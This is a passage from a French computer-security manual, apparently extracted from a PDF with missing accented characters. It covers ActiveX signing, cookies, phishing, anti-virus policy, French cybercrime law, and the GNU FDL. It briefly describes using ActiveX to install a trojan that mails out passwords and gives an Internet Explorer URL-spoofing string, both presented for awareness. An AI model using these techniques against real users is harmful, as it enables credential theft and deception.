would not provide a way to compromise them.
Il sagit de modules excutables qui peuvent automatiquement tre tlchargs et lancs partir de votre browser. Ils ragissent des codes dauthentication appels "authenticodes". Ces codes font appel plusieurs rgles concernant le vendeur, la date de cration et la date dexpiration (verisign). Actuellement les authenticodes (X509) autorisent la signature des programmes codes pour les extensions suivantes : * .exe * .cab * .ocx * .dll Prenons lexemple dun programme de taupe tlchargeable depuis une page web. Il faudra procder en plusieurs tapes pour que les oprations de signature et de vrication seffectuent avec succs. Il faudra pour cel : MakeCert Cert2SPC SignCode ChkTrust DumpCert SetReg Signer
oc um en ts
cre un test de certicat X.509 cre un test SPC utilise le SPC pour signer un chier vrie la validite du chier valide le certicat modie la cl qui controle lauthentication dans la base de registres excute la signature
ou sl
ic
en ce
FD
160
Le Chaos Computer Club (groupe de hackers allemand) avait dj fait une dmonstration des multiples possibilits de cette technique en ralisant un activex qui effacait explorer.exe du disque dur. Avec des contrles ActiveX on peut se permettre de charger une taupe sur nimporte quelle machine (backorice par exemple) et ainsi recevoir par mail (anonyme videmment) tous les mots de passe et infos condentielles qui sont contenues sur lordinateur du visiteur. La seule limite est alors celle de limagination. Pour viter de se faire piger, il est possible de modier les lments suivants (qui sont ncessaires au processus dinstall dun activex) : Wintrust.dll Softpub.dll Mssip32.dll Vsrevoke.dll Crypt32.dll
Pour rassurer un client, le serveur signe chaque applet quil utilise dans ses pages HTML. Il faut alors tablir la validit de la cl de signature laide dun certicat mis par une autorit reconnue par le client. La plupart des navigateurs aujourdhui incluent les cls des principales autorits de certication. Il reste quelques problmes cette approche : Loeuf ou la poule : avant de pouvoir vrier la signature sur un logiciel, il nous faut un navigateur digne de conance. Il faut donc obtenir le navigateur dune autre faon... Microsoft a rgl la question en incorporant Internet Explorer au Systme dExploitation. La signature garantit lorigine du logiciel et cest tout ce quelle garantit. Aucune assurance sur le comportement du logiciel une fois install. Mme certains logiciels vendus dans une bote ont t livrs avec un virus... Lassurance quon peut donner une signature dpend de la conance que nous inspire lautorit de certication qui a mis la cl... Le mme principe sapplique aux contrles ActiveX de Microsoft, qui sont signs par un "authenticode". Les laboratoires Bellcore ont conu BETSI, dans le but "de satisfaire un besoin de scurit lors de la distribution de logiciel sur Internet." Il est bas sur le modle PGP Les cryptolopes 1 dIBM sont un autre mcanisme pour scuriser et autoriser la transmission dinformation sur Internet. La combinaison de chiffrement et dauthentication plusieurs niveaux, permettant de dverrouiller slectivement la sauvegarde, limpression, la copie et le visionnement du document.
1 Fonction du systme SET (Secured Electronic Transfer) qui permet de sceller des donnes condentielles dans une "enveloppe" lectronique que seul peut ouvrir le destinataire autoris.
oc um en ts
ou sl
ic
en ce
FD
161
39.8 Se protger
Nutilisez votre navigateur Internet qu minima lorsque vous avez la possibilit daccder des donnes sensibles. Dsactiver le JavaScript. Dites non aux ActiveX et Applets Java.
oc um en ts
ou sl
ic
1. Faille de Internet Explorer Dans la barre dadresse, indiquer ladresse suivante : http://www.yahoo.fr\%01\%00google.fr/index.html
en ce
FD
Chapitre 40
40.1 Introduction
40.2 Dnition
Il peut contenir des informations diverses, par exemple le nom du site web qui vous la envoy (impos ?), la date de votre visite, les pages du site que vous avez visites, le navigateur que vous utilisez, votre adresse ip (laquelle change chacune de vos connexions si vous vous connectez par lintermdiaire dun fournisseur daccs, ce qui limite lindiscrtion !)... Un cookie ne contient ni votre identiant daccs Internet ni votre adresse lectronique et il ne peut tre relu que par le serveur qui la envoy (on aimerait !).
En principe, les cookies permettent un webmaster dvaluer lusage que ses visiteurs font de son site. Malheureusement, ils peuvent tre utiliss des ns de marketing, en analysant les diffrentes pages que vous consultez sur un site pour tablir un prol de votre personnalit dinternaute et vous faire des propositions commerciales cibles. Sil est clair que les cookies puissent tre utiles aux webmasters, quel intrt ont-ils pour linternaute qui visite un site ? Supposons un site sur lequel il est demand aux nouveaux visiteurs de remplir un formulaire, par exemple pour pouvoir tlcharger un programme en dmonstration ou un graticiel (freeware). Si un rsum des rponses est contenu dans un cookie, le site pourra "reconnatre" un habitu et lui pargner de nouvelles questions.
oc um en ts
Quel rapport entre des "biscuits" et lInternet ? Un cookie est un petit chier au format texte dun maximum de 4 Ko, envoy ("offert", comme un biscuit ?) par le serveur dun site Web et enregistr sur votre disque dur par votre navigateur.
ou sl
162
ic
Les cookies ne reprsentent pas de menace directe pour votre ordinateur ou les donnes qui y sont places. Cependant, ils sont vraiment une menace pour la condentialit : un cookie permet un site web de conserver vos rfrences et de suivre la trace vos visites du site. Cest pourquoi, si vous prfrez garder lanonymat, vous devriez dsactiver les cookies en utilisant les paramtres de scurit de votre navigateur.
en ce
FD
Cookies
163
Souvent, les donnes sont codes (cryptes) an : de les rendre difciles manipuler trop simplement, avec le bloc-notes de Windows ou votre traitement de texte par exemple. de les rendre difciles exploiter par un tiers extrieur (un espion). de les compresser pour quelles prennent moins de place. Alors, utiles ou inquitants ? Les avis sont trs partags. Vous pouvez refuser les cookies, automatiquement, ou la demande ( paramtrer dans les fonctions avances de votre navigateur). Mais certains sites vous seront alors inaccessibles. Rien ne soppose non plus la destruction des chiers de cookies, soit laide dun utilitaire spcialis comme Cookie Crusher (qui permet aussi de "trier" les cookies en temps rel), soit " la main". Les cookies ne reprsentent aucun danger pour votre machine et vous pouvez les ignorer. Mais sil vous semble dsagrable davoir accepter ces "espions", vous pouvez aussi bien les liminer sans risque ! Par contre les cookies associs un spyware peut devenir trs dangereux.
40.4 Se protger
Dsactivez les cookies sur les machines qui accdent des donnes sensibles. A minima, supprimer les.
oc um en ts
Certaines personnes malveillantes ont vu dans les cookies un moyen de stocker de linformation condentielle. Ils y inscrivent tout autre chose que lobjet initial du cookie : les donnes que tape linternaute et qui peuvent tre des numros de carte bancaire ou de compte, des informations sanitaires, sociales, la traque des url visites etc ... Les programmes espions (spywares) peuvent tout faire y compris rapatrier pour le compte dun acteur de lespionnage la totalit des contenus de la totalit des cookies trouvs. De plus le cryptage des donnes dun cookie nest pas incassable. Enn, le fait de pouvoir lire les noms des cookies peut permettre des enquteurs informs (des robots informatiques ou des personnes physiques) de savoir quels sites vous visitez.
ou sl
ic
en ce
FD
Chapitre 41
41.1 Dnition
41.2 Exemples
oc um en ts
Tentatives de piratage par ingnierie sociale visant les utilisateurs de Hotmail et de Wanadoo (05/02/02) Depuis quelques jours, des utilisateurs de Hotmail et de Wanadoo sont la cible de messages envoys sous de fausses identits par des personnes malveillantes, an de les pousser dvoiler leurs paramtres de connexion. Le message visant Hotmail est un courrier lectronique au format texte prtextant des problmes de maintenance et demandant de le renvoyer aprs en avoir rempli le questionnaire, comme ci-dessous :
ou sl
164
ic
Lingnierie sociale ("social engineering") consiste pour une personne malveillante se faire passer pour quelquun de conance an de tromper la vigilance de sa victime et de lui soutirer des informations critiques. Une technique dautant plus courante quelle ne ncessite pas de grandes connaissances en informatique et que tout utilisateur est plus ou moins vulnrable.
en ce
FD
Ingnierie sociale
165
Lquipe Hotmail Le message visant Wanadoo est un courrier lectronique au format HTML prtextant une anomalie dans le compte daccs internet et demandant de remplir un formulaire dtaill comme ci-dessous : Dans le cas prsent, lutilisateur peut facilement se rendre compte de la fraude en regardant dans les proprits du message. Dans le cas dHotmail, ladresse de lexpditeur est securite_hotmai@hotmail.com car Hotmail interdit visiblement la reprise de sa marque dans le login de ses botes aux lettres. Dans le cas de Wanadoo, le faux est encore plus grossier car le code source rvle que limage du point dexclamation jaune provient de Caramail, et le clin doeil en bas de message indique sil en tait besoin que si vous envoyez vos paramtres de connexion vous risquez effectivement de revoir trs bientt lapprenti pirate. Parfois le faux est plus difcile tablir, aussi est-il impratif de prendre lhabitude de ne jamais rpondre ce genre de courrier : en cas de doute, validez si ncessaire linformation en joignant vous-mme le service commercial un numro de tlphone ou une adresse email sre. Contactez par contre rapidement les socits concernes pour dclarer cette tentative de piratage et faire en sorte que le compte de la personne malveillante soit ferm. Logins et mots de passe sont les garants de votre scurit. Les dvoiler nimporte qui sans prcaution vous expose au viol de votre vie prive (lecture de votre courrier lectronique, connaissance de votre nom rel si vous utilisiez un pseudo, etc.), des pertes nancires (puisement ou dpassement ici de votre forfait internet), voire lusurpation de votre identit et votre mise en cause dans des affaires de piratage, si votre compte est ensuite utilis pour commettre dautres actions illgales Sans informatique ! Par tlphone, les ingnieurs sociaux sont capables de convaincre leurs victimes de leur donner des informations, en se faisant passer pour quelquun dautre.
oc um en ts
ou sl
ic
en ce
FD
166
oc um en ts
ou sl
ic
en ce
FD
167
Prtendre tre un soutien spcialement assign rsoudre un problme avec le rseau est une ruse courante (la plupart des utilisateurs sont toujours motivs daider quelquun qui se dit vouloir les aider). Se faire passer pour un employ dune socit de tlmarketing est une autre technique (les utilisateurs sont souvent contents de donner des dtails sur leur entreprise et leur rseau sils pensent que leurs rponses sont pour un sondage anonyme).
41.4 Conclusion
oc um en ts
ou sl
ic
Encore une fois la vigilance est de mise. Ne changez pas le mot de passe de quelquun parcequon vous le demande par tlphone !
en ce
FD
Chapitre 42
Outre le fait de garder votre antivirus jour en permanence, il existe dautres moyens pour rduire les risques dinfection virale dans votre entreprise. Voici une ide des recommandations que vous pourriez prendre en considration pour pratiquer au sein de votre entreprise linformatique en toute scurit.
Certains virus essaient de dguiser leur vritable nature dexcutable en utilisant des "doubles extensions". Des chiers tels que LOVE-LETTER-FOR-YOU.TXT.VBS ou ANNAKOURNIKOVA.JPG.VBS peuvent apparatre premire vue comme des chiers image ou texte (en ASCII) inoffensifs. Sophos recommande dempcher lentre dans lentreprise tout chier possdant une "double extension". Les fausses alertes de virus (canulars) et les chanes de courrier peuvent perturber la marche de lentreprise autant que les virus eux-mmes. En dehors du fait de rpandre de fausses informations et de faire perdre du temps et des ressources au personnel, elles peuvent devenir trs embarrassantes pour votre entreprise si un employ les fait suivre vos contacts ou clients. Il est pour cela prfrable de mettre en place une politique stricte sur les canulars, comme celle qui suit : "La moindre alerte virale doit tre rexpdie exclusivement <nom du service ou de la personne responsable des questions dantivirus>. Que lalerte provienne dun diteur dantivirus, ou quelle ait t 168
Bloquez tous les types de chiers non dsirs la passerelle de messagerie. Les virus utilisent souvent des types de chiers tels que VBS, SHS, EXE, SCR, CHM et BAT pour se propager. Il est peu probable que votre entreprise ait besoin de recevoir de lextrieur des chiers de ces types. Si cest le cas, Sophos recommande de tous les bloquer la passerelle de messagerie, et ce, quils soient ou non infects par un virus.
oc um en ts
Instaurez une politique stricte dans votre entreprise selon laquelle le tlchargement de chiers excutables et documents depuis le net ne sera pas accept et que tout programme sexcutant dans votre entreprise doit au pralable avoir t certi sans virus et avalis. Il est prfrable de ne pas excuter les chiers excutables, documents, feuilles de calcul, etc. non sollicits. Si vous ne savez pas si un lment est exempt de virus, partez du principe quil ne lest pas. Dans lidal, les employs devraient tre autoriss navoir que ce dont ils ont vraiment besoin. Cependant, vous pourriez envisager de leur fournir une slection de jeux/crans de veille utiliser dont linnocuit a t atteste.
ou sl
ic
en ce
FD
169
conrme par une grande entreprise informatique ou votre meilleur ami ne change rien. Toutes les alertes virales devraient tre envoyes exclusivement <nom du rfrent> et <nom du rfrent> seul. Cest le travail de <nom du rfrent> dexpdier au reste du personnel toutes les alertes virales. Toute alerte provenant dune autre source doit simplement tre ignore." Si vous navez pas besoin de l"Excution de scripts", retirez-la. Changez la squence de dmarrage du BIOS de votre ordinateur pour, au cas o vous laisseriez une disquette dans votre machine, dmarrer par dfaut sur le lecteur C :, au lieu de A :. Ceci devrait empcher tous les virus typiques des secteurs de dmarrage (comme Form, CMOS4, AntiCMOS, Monkey, etc.) de vous infecter. Si vous avez par la suite besoin de dmarrer sur une disquette, vous pourrez rapidement rinitialiser les paramtres correspondants dans le BIOS.
Abonnez-vous un service dalerte par e-mail qui vous avertira des nouveaux virus apparus dans la nature. Gardez un oeil sur les bulletins de scurit de Microsoft. Ils peuvent vous avertir de nouvelles failles de scurit et de problmes rencontrs avec les logiciels Microsoft. Rdigez un ensemble de directives indiquant les politiques mettre en oeuvre pour pratiquer linformatique en toute scurit et distribuez ce document lensemble des employs. Assurez-vous que tous les employs lauront lu et compris et que, sil leur vient des questions, ils sauront qui sadresser. Vous pourriez souhaiter baser vos directives sur les recommandations aux utilisateurs prsentes ci-dessous.
Utilisez le Rich Text Format plutt que les chiers .DOC qui peuvent abriter des virus. Vous pouvez enregistrer automatiquement tous vos documents Word au format RTF en slectionnant Outils | Options | Enregistrement et en choisissant le Rich Text Format dans le menu droulant comme format denregistrement par dfaut. Nexcutez, ne tlchargez, ni nouvrez aucun excutable, document ou feuille de calcul non sollicit. Tout lment sexcutant sur votre PC doit au pralable avoir t certi sans virus et avalis. Tous les e-mails non attendus doivent tre traits comme suspects, mme sils proviennent dune personne que vous connaissez. Il est prudent de tlphoner lexpditeur pour savoir si cest bien lui qui a envoy le-mail en question. Nouvrez pas de chiers ayant une double extension (par ex : jesuisunvirus.txt.vbs). Dans des circonstances normales, vous navez nul besoin de recevoir ou dutiliser ces types de chier. Ne tlchargez pas dexcutables ou de documents depuis internet. Ils sont souvent utiliss pour la propagation de virus informatiques. Bien que les chiers JPG, GIF et MP3 ne puissent pas tre infects par un virus, certains virus peuvent se faire passer pour ces types de chiers. Les chiers blagues, images, graphiques, crans de veille et vido devraient tre traits avec la mme suspicion que les autres types de chiers.
oc um en ts
ou sl
ic
en ce
FD
Sauvegardez rgulirement lensemble de vos donnes, et vriez que les sauvegardes ont russi.
170
En cas de doute, demandez toujours conseil votre service informatique, nouvrez pas le chier ou lemail. Si vous pensez avoir t infect par un virus, informez-en immdiatement votre service informatique. Ne paniquez pas et ninterrompez pas les autres utilisateurs. Toutes les alertes virales ou canulars, quels quils soient, doivent tre envoys votre service informatique qui a la capacit de conrmer ou inrmer quil sagit dun vrai virus. Ne faites suivre ces alertes aucune autre personne ; moins que vous nayez souscrit un service dalertes virales ofcielles, il y a peu de chances que lalerte soit authentique. Si vous devez travailler la maison, veillez suivre les mmes procdures que celles de votre lieu de travail. Des virus peuvent facilement accompagner le travail effectu sur un ordinateur de maison lorsquil rentre dans lentreprise. Les logiciels antivirus empchent la majorit des virus de pntrer votre entreprise mais ils ne sont pas infaillibles. Il est de votre responsabilit de veiller ne pas vous faire infecter par un virus informatique.
oc um en ts
ou sl
ic
en ce
FD
Chapitre 43
oc um en ts
ou sl
171
Nous venons de faire un tour dhorizon des principales attaques dont VOUS pouvez tre victimes. Comme vous pouvez le constater linformatique nest pas le seul vecteur dapproche des pirates et les politiques adopter pour se protger sont draconniennes. Pour rsumer, en tant quemploy dune entreprise, on peut simplement dire que la vigilance doit tre de mise chaque instant et lutilisation dInternet limit. Le stockage des mots de passe pour laccs au serveur nest bien sr pas le bienvenu. An de protger les serveurs des attaques virales, ceux-ci sont souvent installs dans une DMZ (DeMilitarizedZone).
ic
en ce
FD
Conclusion
oc um en ts
ou sl
172
ic
Conclusion
en ce
Huitime partie
FD
Chapitre 44
Avant de scanner un port tout va, il est bon de savoir ce quil peut en coter : Article 323-1 CP Infraction * Le fait daccder ou de se maintenir frauduleusement, dans tout ou partie dun S.T.A.D. * Sil en est rsult la suppression ou la modication de donnes, soit une altration du fonctionnement de ce systme * Le fait dentraver ou de fausser le fonctionnement dun S.T.A.D. * Le fait dintroduire frauduleusement des donnes dans un S.T.A.D. ou de supprimer ou de modier les donnes quil contient * La participation un groupement form ou une entente tablie en vue de la prparation, caractrise par un ou plusieurs faits matriels, dune ou plusieurs des infractions ci dessus est rprime comme linfraction elle mme ou la plus grave des infractions TAB . 44.1 Rpression contre la cybercriminalit STAD : systme de traitement automatis de donnes. Rpression 1an / 100.000F 2ans / 200.000F 3ans / 300.000F 3ans / 300.000F 3ans / 300.000F
oc um en ts
Pour les autres rgions, consultez le SRPJ local (Service Rgional de Police Judiciaire). Ce peut tre, selon que vous tes en ville ou village, le commissariat de police ou la gendarmerie. Demander parler un ESCI (Enquteur Spcialis sur la Criminalit Informatique) qui saura enregistrer votre plainte.
ou sl
173
ic
en ce
Nous avons vu les moyens que possdaient un informaticien de pirater ou de se dfendre. Voici pour conclure un autre moyen : la Justice. Portez plainte en cas dattaque ou despionnage Si lordinateur attaqu (le votre ou celui qui hberge vos donnes) est physiquement install dans Paris ou petite couronne, cest la B.E.F.T.I (Brigade dEnqutes sur les Fraudes aux Technologies de lInformation) qui est le principal interlocuteur. Ce sont des enquteurs spcialiss dans les crimes informatiques sous toutes leurs formes.
FD
Conclusion
oc um en ts
ou sl
174
ic
Annexes
en ce
Neuvime partie
FD
Annexe A
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom : to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modications made by others. This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software. We have designed this License in order to use it for manuals for free software, because free software needs free documentation : a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals ; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a worldwide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law. A "Modied Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modications and/or translated into another language. A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Documents overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, 175
oc um en ts
ou sl
Preamble
ic
en ce
Version 1.2, November 2002 Copyright c 2000,2001,2002 Free Software Foundation, Inc.
FD
176
if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them. The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not t the above denition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none. The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words. A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specication is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent le format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modication by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque". Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modication. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only. The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the works title, preceding the beginning of the body of the text. A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specic section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this denition. The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties : any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3. You may also lend copies, under the same conditions stated above, and you may publicly display copies.
oc um en ts
2. VERBATIM COPYING
3. COPYING IN QUANTITY
ou sl
ic
en ce
FD
177
4. MODIFICATIONS
You may copy and distribute a Modied Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modied Version under precisely this License, with the Modied Version lling the role of the Document, thus licensing distribution and modication of the Modied Version to whoever possesses a copy of it. In addition, you must do these things in the Modied Version : A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission. B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modications in the Modied Version, together with at least ve of the principal authors of the Document (all of its principal authors, if it has fewer than ve), unless they release you from this requirement. C. State on the Title page the name of the publisher of the Modied Version, as the publisher. E. Add an appropriate copyright notice for your modications adjacent to the other copyright notices. F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modied Version under the terms of this License, in the form shown in the Addendum below. G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Documents license notice. H. Include an unaltered copy of this License. I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modied Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modied Version as stated in the previous sentence. D. Preserve all the copyright notices of the Document.
oc um en ts
ou sl
ic
en ce
If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Documents license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts : Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects. If the required texts for either cover are too voluminous to t legibly, you should put the rst ones listed (as many as t reasonably) on the actual cover, and continue the rest onto adjacent pages. If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public. It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
FD
178
J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission. K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein. L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles. N. Do not retitle any existing section to be Entitled "Endorsements" or to conict in title with any Invariant Section. O. Preserve any Warranty Disclaimers. If the Modied Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modied Versions license notice. These titles must be distinct from any other section titles. You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modied Version by various partiesfor example, statements of peer review or that the text has been approved by an organization as the authoritative denition of a standard. You may add a passage of up to ve words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modied Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another ; but you may replace the old one, on explicit permission from the previous publisher that added the old one. The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modied Version.
You may combine the Document with other documents released under this License, under the terms dened in section 4 above for modied versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodied, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers. The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work. In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History" ; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included
oc um en ts
5. COMBINING DOCUMENTS
6. COLLECTIONS OF DOCUMENTS
ou sl
ic
en ce
FD
M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modied Version.
179
in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects. You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
8. TRANSLATION
The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http ://www.gnu.org/copyleft/. Each version of the License is given a distinguishing version number. If the Document species that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specied version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
oc um en ts
Translation is considered a kind of modication, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail. If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
9. TERMINATION
ou sl
ic
en ce
FD
180
To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page : Copyright c YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation ; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License". If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this : with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation. If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
oc um en ts
ou sl
ic
en ce
FD
Listings
24.1 24.2 24.3 24.4 24.5 24.6 25.1 33.1 36.1 39.1 39.2 39.3 39.4 39.5 Dpassement de la pile . . . . . . . . . . . Utilisation de la pile . . . . . . . . . . . . . Exemple de vulnrabilit . . . . . . . . . . shellcode.c . . . . . . . . . . . . . . . . . root shell assembleur . . . . . . . . . . . . testsc2.c . . . . . . . . . . . . . . . . . . . crack.pl . . . . . . . . . . . . . . . . . . . Exemple de lutilisation de la fonction crypt Code source de AnnaKournikova . . . . . . cgi.html . . . . . . . . . . . . . . . . . . . vbscript.vb . . . . . . . . . . . . . . . . . vbscript2.vb . . . . . . . . . . . . . . . . . javascript . . . . . . . . . . . . . . . . . . javascript . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93 94 94 95 97 98 104 131 140 154 155 155 156 158
oc um en ts
ou sl
181
ic
en ce
FD
L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
